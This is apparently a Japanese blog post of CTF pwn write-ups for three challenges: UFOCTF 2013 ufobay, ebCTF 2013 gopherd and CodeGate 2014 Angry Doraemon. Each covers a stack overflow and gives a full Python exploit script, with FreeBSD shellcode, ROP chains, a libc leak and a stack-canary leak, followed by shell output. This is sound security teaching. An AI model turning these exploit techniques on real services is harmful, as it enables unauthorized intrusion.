pwn challenges list easy writeup その4
前回
[UFOCTF 2013] Pwn100 - ufobay
ELF 32-bit、静的リンク。
% file ufobay ufobay: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, for FreeBSD 9.1, stripped
FreeBSD用にコンパイルされたものなのでFreeBSD上で実行する必要がある。
実行すると1337番ポートで待ち、ncで接続するとノートのようなプログラムであることがわかる。
% nc 192.168.33.10 1337 What can we do 4 you?: 1) Send parsel 2) Get parsel 3) Check state of parsel 4) Delete parsel 5) Quit >1 Source: >A Destination: >B Length of your parsel: >3 Your parsel: >CCC Your parsel`s ID: 6 >
deleteがあることからUAFなどのバグかと思ったが、単純なstack BOFだった。Your parselの部分で最大0x100文字入力可能であるが十分なバッファが確保されていないためBOFし、EIPを書き換えられる。戻り番地としてcall espのgadgetを使い、続けてシェルコードを入力することでシェルを起動する。
ただし今回はFreeBSDであるためsystem callの呼び出し方が少し違う。
Linuxでは引数をすべてレジスタに代入していたが、FreeBSDでは普通の関数呼び出しのように引数をスタックに積んでsystem callを呼び出す。戻り番地(dummy)と書いた部分は必要ないので適当な値を入れておく。system callの番号はLinuxと同じようにeaxに書き込む。これを踏まえて以下のようなシェルコードを書いた。
; dup2(5,0) xor ebx, ebx mov bl, 0x5 xor eax, eax push eax push ebx push eax mov al, 0x5a int 0x80 ; dup2(5,1) xor eax, eax mov al, 0x1 push eax push ebx push eax mov al, 0x5a int 0x80 ; dup2(5,2) xor eax, eax mov al, 0x2 push eax push ebx push eax mov al, 0x5a int 0x80 ; execve("/bin//sh",{"/bin//sh",NULL},NULL) xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax push ebx mov edx, esp push eax push edx push ebx push eax mov al, 0x3b int 0x80
#!/usr/bin/env python from pwnlib import * def send(src,dst,parsel): s.sendline('1') s.sendline(src) s.sendline(dst) s.sendline(str(len(parsel))) s.sendline(parsel) if __name__ == '__main__': s = Remote('192.168.33.10',1337) call_esp = 0x80ff46d payload = '' payload += 'A' * 0xac payload += p32(call_esp) payload += get_shellcode('bsddup32') send('A','A',payload) s.interact()
% ./exploit.py [*] Switching to interactive mode What can we do 4 you?: 1) Send parsel 2) Get parsel 3) Check state of parsel 4) Delete parsel 5) Quit >Source: >Destination: >Length of your parsel: >Your parsel: > $ ls ufobay ufobay.db $ id uid=1002(ufobay) gid=1003(ufobay) groups=1003(ufobay) $
[ebCTF 2013] pwn300
ELF 32-bit、動的リンク、NX有効。
% file gopherd gopherd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e7ae194088aed73248076ae760f82c373ee42196, not stripped % checksec -f gopherd RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 16 gopherd
intro.txtとgoprootを作成すると実行できる。引数にポート番号を与えて実行するとそのポートで待機する。TCPで接続して適当に文字列を入力してみても何も返らず動作がわからなかったため大雑把にデコンパイルした。
#include <stdio.h> typedef struct hash { char *str; int num; char *msg; } hash; typedef struct hashlist { hash *list; int count; } hashlist; void hashlist_init(hashlist *hl) { hl->count = 0; hl->list = malloc(0xc); } hashlist *hashlist_new() { hashlist *hl = malloc(8); hashlist_init(hl); return hl; } void hashlist_push(hashlist *hl, char *str, int num, char *msg) { hl->count++; hl->list = realloc(hl->list,hl->count * 12); hl->list[count-1].str = strdup(str); hl->list[count-1].num = num; hl->list[count-1].msg = msg; } hash *hashlist_find(hashlist *hl, char *bin) { for (int i = 0; i < hl->count; i++) { } return 0; } int n_to_i(char c) { if (c >= '0' && c <= '9') { return c - '0'; } else if (c >= 'a' && c <= 'f') { return c - 'W'; } else if (c >= 'A' && c <= 'F') { return c - '7'; } else { return c; } } void ascii_to_bin(char *str, char *bin) { for (int i = 0; i < strlen(str); i++) { bin[i] = n_to_i(str[2 * i]) << 4 | n_to_i(str[2 * i + 1]); } } void read_from_client(int fd, hashlist *hl) { char buf[0xff], bin[0x10]; int len = read(fd,buf,0xff); if (len < 0) { perror("read"); exit(1); } if (len == 0) return -1; if (len <= 1) return -1; if (buf[len-2] != '\r' || buf[len-1] != '\n') return -1; buf[len-1] = buf[len-2] = '\0'; len -= 2; if (buf[0] == '\0') { gopher_list(hl,fd); return -1; } ascii_to_bin(buf,bin); int x = hashlist_find(hl,bin); if (x == 0) return -1; } int main(int argc, char *argv[]) { hashlist *hl = hashlist_new(); FILE *fp = fopen("intro.txt","rb"); if (!feof(fp)) { char str[0x100]; fgets(str,0xff,fp); str[strlen(str)-1] = '\0'; hashlist_push(hl,str,0,"can't touch this!\n"); } fclose(fp); hashlist_fill_dir(hl,"./goproot"); puts("\033[1m>>\033[0m RICKEY GOPHERTS v0.2 READY."); int sock = make_socket(atoi(argv[1])); return 0; }
hashlistなどの構造体があるが攻撃には関係ないので説明は省く。
TCPで接続するとread_from_clientが呼び出され0xff文字読み込む。ascii_to_binでその文字列を16進の文字列であると解釈して、バイナリ列に変換しbinに書き込むがbinの領域が小さいためstack BOFする。これを使ってROPを構成し、シェルを起動する。
ただしascii_to_binの直後にhashlist_findを呼び出しており、引数としてhl(hashlistの構造体)を使っていて、これはBOFの際に上書きしてしまうため、辻褄の合うように上書きしなくてはならない。hashlist_findではhl->countの分だけループしているのでhl->countが0以下になるようなアドレスで上書きすればいい。atoiのGOTを使ったらうまくいった。あとはいつも通りROPするだけ。
#!/usr/bin/env python from pwnlib import * def encode(s): s = list(''.join(map(lambda c: "%02x" % ord(c),list(s)))) # s[len(s)//2] = '\0' return ''.join(s) + '\r\n' if __name__ == '__main__': s = Remote('localhost',3000) pop2ret = 0x8048d93 pop3ret = 0x804926b pop4ret = 0x804a7dc send_plt = 0x8048a20 read_plt = 0x80487c0 atoi_plt = 0x80489c0 atoi_got = 0x804c090 atoi_offset = 0x2d050 system_offset = 0x3a940 bss_addr = 0x804c120 payload = '' payload += 'A' * 0x24 payload += p32(pop2ret) + p32(4) + p32(atoi_got) payload += p32(send_plt) payload += p32(pop4ret) payload += p32(4) + p32(atoi_got) + p32(4) + p32(0) payload += p32(read_plt) payload += p32(pop3ret) payload += p32(4) + p32(atoi_got) + p32(4) payload += p32(read_plt) payload += p32(atoi_plt) payload += p32(4) + p32(bss_addr) + p32(0x100) payload = encode(payload) s.send(payload) libc_base = u32(s.recv(4)) - atoi_offset print '[*] libc base: %#x' % libc_base s.send(p32(libc_base + system_offset)) s.send('/bin/sh >&4 <&4') s.interact()
% ./exploit.py [*] libc base: 0xf75e7000 [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
[CodeGate-2014] Angry Doraemon pwn250
ELF 32bit、動的リンク、SSPとNX有効。
% file angry_doraemon_c927b1681064f78612ce78f6b93c14d9 angry_doraemon_c927b1681064f78612ce78f6b93c14d9: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=52386ef1e094f4cde5996d3755aa4363959d0a83, stripped % checksec -f angry_doraemon_c927b1681064f78612ce78f6b93c14d9 RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 angry_doraemon_c927b1681064f78612ce78f6b93c14d9
mouse.txt,bread.txt,doraemon.txt,fs.txt,ps.txtを作成すると実行できる。
% nc localhost 8888 Angry doraemon! fight! Waiting 2 seconds... Doraemon H.P: 100 - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up >
ドラえもんと戦うプログラムのようで、攻撃方法を1-5から選ぶとそれぞれの中で入力があったりしてHPが減ったり増えたりする。
バグ(というかひっかけ)はいくつかあるのだが実際に使うのは4.Throw mouseで起こせるstack BOF。
804902f: c7 44 24 08 6e 00 00 mov DWORD PTR [esp+0x8],0x6e 8049036: 00 8049037: 8d 45 ea lea eax,[ebp-0x16] 804903a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804903e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8049041: 89 04 24 mov DWORD PTR [esp],eax 8049044: e8 d7 f5 ff ff call 8048620 <read@plt>
ebp-0x16から0x6eバイト書き込むことができる。今回SSPが有効なのでcanaryをリークする必要がある。上のreadで読み込んだ文字列はnull終端されていないためcanaryの1バイト目まで文字列を埋めればcanaryをリークすることができる。この時点でSSPに引っ掛かりプログラムは終了するがfork-server型であるためcanaryの値は変わらない。よって新たに接続してもここでリークできたcanaryを使ってSSPを回避できる。あとはいつも通りROPを組んでシェルを起動する。
#!/usr/bin/env python from pwnlib import * def throw(data): s.sendlineafter('4','>') s.sendafter(data,'(y/n) ') if __name__ == '__main__': s = Remote('localhost',8888) throw('y' * 11) s.recvuntil('y' * 11) canary = u32(s.recv(3)) << 8 print '[*] canary: %#x' % canary s.close() s = Remote('localhost',8888) read_plt = 0x8048620 read_got = 0x804b010 read_offset = 0xd4350 write_plt = 0x80486e0 system_offset = 0x3a940 pop3ret = 0x8048b2c leave_ret = 0x8048996 bss_addr = 0x804b080 + 0x500 payload = '' payload += 'y' * 10 payload += p32(canary) payload += 'A' * 0xc payload += p32(write_plt) payload += p32(pop3ret) payload += p32(4) + p32(read_got) + p32(4) payload += p32(read_plt) payload += p32(pop3ret) payload += p32(4) + p32(bss_addr) + p32(bss_addr) payload += p32(leave_ret) throw(payload) libc_base = u32(s.recv(4)) - read_offset print '[*] libc base: %#x' % libc_base payload = '' payload += 'A' * 4 payload += p32(libc_base + system_offset) payload += 'A' * 4 payload += p32(bss_addr + 0x10) payload += '/bin/sh >&4 <&4\0' s.send(payload) s.interact()
% ./exploit.py [*] canary: 0x93379400 [*] libc base: 0xf7526000 [*] Switching to interactive mode $ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd) $
続き